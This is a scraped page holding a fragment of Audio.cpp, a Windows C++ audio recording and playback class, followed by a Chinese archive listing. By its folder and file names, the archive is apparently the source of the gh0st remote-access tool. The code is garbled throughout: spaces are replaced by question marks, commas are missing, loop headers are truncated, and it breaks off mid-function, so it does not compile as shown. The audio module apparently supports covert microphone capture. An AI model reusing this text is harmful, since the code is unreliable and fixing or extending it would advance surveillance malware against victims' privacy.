//?Audio.cpp:?implementation?of?the?CAudio?class.
//
//////////////////////////////////////////////////////////////////////

#include?“Audio.h“

//////////////////////////////////////////////////////////////////////
//?Construction/Destruction
//////////////////////////////////////////////////////////////////////

CAudio::CAudio（）
{
	m_hEventWaveIn		=?CreateEvent（NULL?false?false?NULL）;
	m_hStartRecord		=?CreateEvent（NULL?false?false?NULL）;
	m_hThreadCallBack	=?NULL;
	m_nWaveInIndex		=?0;
	m_nWaveOutIndex		=?0;
	m_nBufferLength		=?1000;?//?m_GSMWavefmt.wfx.nSamplesPerSec?/?8（bit）

	m_bIsWaveInUsed		=?false;
	m_bIsWaveOutUsed	=?false;

	for?（int?i?=?0;?i?	{
		m_lpInAudioData[i]?=?new?BYTE[m_nBufferLength];
		m_lpInAudioHdr[i]?=?new?WAVEHDR;

		m_lpOutAudioData[i]?=?new?BYTE[m_nBufferLength];
		m_lpOutAudioHdr[i]?=?new?WAVEHDR;
	}
	
	memset（&m_GSMWavefmt?0?sizeof（GSM610WAVEFORMAT））;

	m_GSMWavefmt.wfx.wFormatTag?=?WAVE_FORMAT_GSM610;?//?ACM?will?auto?convert?wave?format
	m_GSMWavefmt.wfx.nChannels?=?1;
	m_GSMWavefmt.wfx.nSamplesPerSec?=?8000;
	m_GSMWavefmt.wfx.nAvgBytesPerSec?=?1625;
	m_GSMWavefmt.wfx.nBlockAlign?=?65;
	m_GSMWavefmt.wfx.wBitsPerSample?=?0;
	m_GSMWavefmt.wfx.cbSize?=?2;
	m_GSMWavefmt.wSamplesPerBlock?=?320;
}

CAudio::~CAudio（）
{
	if?（m_bIsWaveInUsed）
	{
		waveInStop（m_hWaveIn）;
		waveInReset（m_hWaveIn）;
		for?（int?i?=?0;?i?			waveInUnprepareHeader（m_hWaveIn?m_lpInAudioHdr[i]?sizeof（WAVEHDR））;
		waveInClose（m_hWaveIn）;
		TerminateThread（m_hThreadCallBack?-1）;
	}

	if?（m_bIsWaveOutUsed）
	{
		waveOutReset（m_hWaveOut）;
		for?（int?i?=?0;?i?			waveOutUnprepareHeader（m_hWaveOut?m_lpInAudioHdr[i]?sizeof（WAVEHDR））;
		waveOutClose（m_hWaveOut）;
	}		


	for?（int?i?=?0;?i?	{
		delete?[]?m_lpInAudioData[i];
		delete?m_lpInAudioHdr[i];
		
		delete?[]?m_lpOutAudioData[i];
		delete?m_lpOutAudioHdr[i];
	}

	CloseHandle（m_hEventWaveIn）;
	CloseHandle（m_hStartRecord）;
	CloseHandle（m_hThreadCallBack）;
}

LPBYTE?CAudio::getRecordBuffer（LPDWORD?lpdwBytes）
{
	//?Not?open?WaveIn?yet?so?open?it...
	if?（!m_bIsWaveInUsed?&&?!InitializeWaveIn（））
		return?NULL;

	if?（lpdwBytes?==?NULL）
		return?NULL;

	SetEvent（m_hStartRecord）;
	WaitForSingleobject（m_hEventWaveIn?INFINITE）;
	*lpdwBytes?=?m_nBufferLength;
	return	m_lpInAudioData[m_nWaveInIndex];
}

bool?CAudio::playBuffer（LPBYTE?lpWaveBuffer?DWORD?dwBytes）
{
	if?（!m_bIsWaveOutUsed?&&?!InitializeWaveOut（））
		return?NULL;

	for?（int?i?=?0;?i?	{
		memcpy（m_lpOutAudioData[m_nWaveOutIndex]?lpWaveBuffer?m_nBufferLength）;
		waveOutWrite（m_hWaveOut?m_lpOutAudioHdr[m_nWaveOutIndex]?sizeof（WAVEHDR））;
		m_nWaveOutIndex?=?1?-?m_nWaveOutIndex;
	}
	return?true;
}

bool?CAudio::InitializeWaveIn（）
{
	if?（!waveInGetNumDevs（））
		return?false;

	MMRESULT	mmResult;
	DWORD		dwThreadID?=?0;
	m_hThreadCallBack?=?CreateThread（NULL?0

?屬性????????????大小?????日期????時間???名稱
-----------?---------??----------?-----??----
?????目錄???????????0??2012-07-31?23:27??common\
?????文件????????5195??2008-03-27?09:23??common\Audio.cpp
?????文件????????1280??2008-03-19?00:31??common\Audio.h
?????文件????????1810??2008-03-25?01:09??common\CursorInfo.h
?????文件????????4188??2008-05-19?01:06??common\macros.h
?????文件????????3636??2008-03-26?03:07??common\VideoCodec.h
?????目錄???????????0??2012-07-31?23:27??common\zlib\
?????文件????????7810??2008-01-04?21:42??common\zlib\zconf.h
?????文件???????40900??2008-01-04?21:42??common\zlib\zlib.h
?????文件???????81534??2007-11-14?21:29??common\zlib\zlib.lib
?????目錄???????????0??2012-10-22?10:49??gh0st\
?????文件????????3598??2008-03-27?09:18??gh0st\AudioDlg.cpp
?????文件????????1652??2008-03-19?11:10??gh0st\AudioDlg.h
?????文件????????1595??2008-03-26?16:55??gh0st\BmpToAvi.cpp
?????文件?????????796??2008-03-26?16:57??gh0st\BmpToAvi.h
?????文件????????6088??2008-05-16?01:34??gh0st\BuildView.cpp
?????文件????????1869??2008-05-16?00:25??gh0st\BuildView.h
?????目錄???????????0??2012-07-31?23:27??gh0st\CJ60Lib\
?????目錄???????????0??2012-08-01?15:50??gh0st\CJ60Lib\CJ60Lib\
?????文件????????3805??1999-03-14?13:57??gh0st\CJ60Lib\CJ60Lib\CJ60Lib.clw
?????文件????????4852??1999-03-10?23:46??gh0st\CJ60Lib\CJ60Lib\CJ60lib.cpp
?????文件?????????188??1998-11-06?03:35??gh0st\CJ60Lib\CJ60Lib\CJ60lib.def
?????文件????????9546??1999-03-12?18:08??gh0st\CJ60Lib\CJ60Lib\CJ60Lib.dsp
?????文件????????2705??1999-02-01?02:02??gh0st\CJ60Lib\CJ60Lib\CJ60Lib.dsw
?????文件??????????40??2008-03-26?19:54??gh0st\CJ60Lib\CJ60Lib\CJ60Lib.positions
?????文件????????4590??1999-02-24?13:14??gh0st\CJ60Lib\CJ60Lib\CJ60Lib.rc
?????文件????????8113??2007-12-31?01:08??gh0st\CJ60Lib\CJ60Lib\CJ60StaticLib.dsp
?????文件????????5959??1999-03-14?01:05??gh0st\CJ60Lib\CJ60Lib\CJCaption.cpp
?????文件???????22780??1999-03-14?15:09??gh0st\CJ60Lib\CJ60Lib\CJControlBar.cpp
?????文件????????8363??1999-03-10?23:46??gh0st\CJ60Lib\CJ60Lib\CJDockBar.cpp
?????文件???????13408??1999-03-10?20:30??gh0st\CJ60Lib\CJ60Lib\CJDockContext.cpp
............此處省略244個文件信息